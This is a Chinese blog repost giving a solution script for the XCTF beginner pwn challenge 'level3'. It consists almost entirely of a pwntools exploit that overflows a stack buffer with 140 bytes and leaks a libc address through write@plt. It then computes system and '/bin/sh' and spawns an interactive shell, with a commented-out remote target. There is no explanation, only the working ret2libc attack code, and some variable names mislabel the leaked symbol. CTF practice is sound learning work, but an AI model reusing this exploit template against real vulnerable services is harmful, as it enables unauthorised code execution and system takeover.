首页 > 其他 > 详细

xctf pwn(新手练习)level3

时间:2019-11-21 16:15:15      阅读:219      评论:0      收藏:0      [点我收藏+]

xctf pwn level3

#-*-coding:utf-8-*-
from pwn import *
p = process(‘./level3‘)
#p = remote("111.198.29.45","36722")
elf = ELF(‘./level3‘)
libc = ELF(‘/lib/i386-linux-gnu/libc.so.6‘)
#libc = ELF(‘./libc_32.so.6‘)
write_plt = elf.plt[‘write‘]
print "write_plt: " + hex(write_plt)
# print hex(elf.symbols[‘write‘])
write_got = elf.got[‘__libc_start_main‘]
print "write_got: " + hex(write_got)
libc_main = libc.symbols[‘__libc_start_main‘]
print "write_libc: " + hex(libc_main)
system_libc = libc.symbols[‘system‘]
print "system_libc: " + hex(system_libc)
vulnfun = 0x804844B
# pause()
#write(1,write_got,4)
p.recv()
payload = 140*‘a‘ + p32(write_plt) + p32(vulnfun)
payload += p32(1) + p32(write_got) + p32(4)
p.sendline(payload)
write_addr = u32(p.recv(4))
print "write_addr: " + hex(write_addr)
pause()
offset = write_addr - libc_main
system_addr = offset + system_libc
binsh = libc.search("/bin/sh").next()
binsh_addr = offset + binsh
print "binsh_addr: " + hex(binsh_addr)
payload = 140*‘a‘ + p32(system_addr) + p32(vulnfun) + p32(binsh_addr)
p.sendline(payload)
p.interactive()

 

xctf pwn(新手练习)level3

原文:https://www.cnblogs.com/xlcm/p/11905751.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!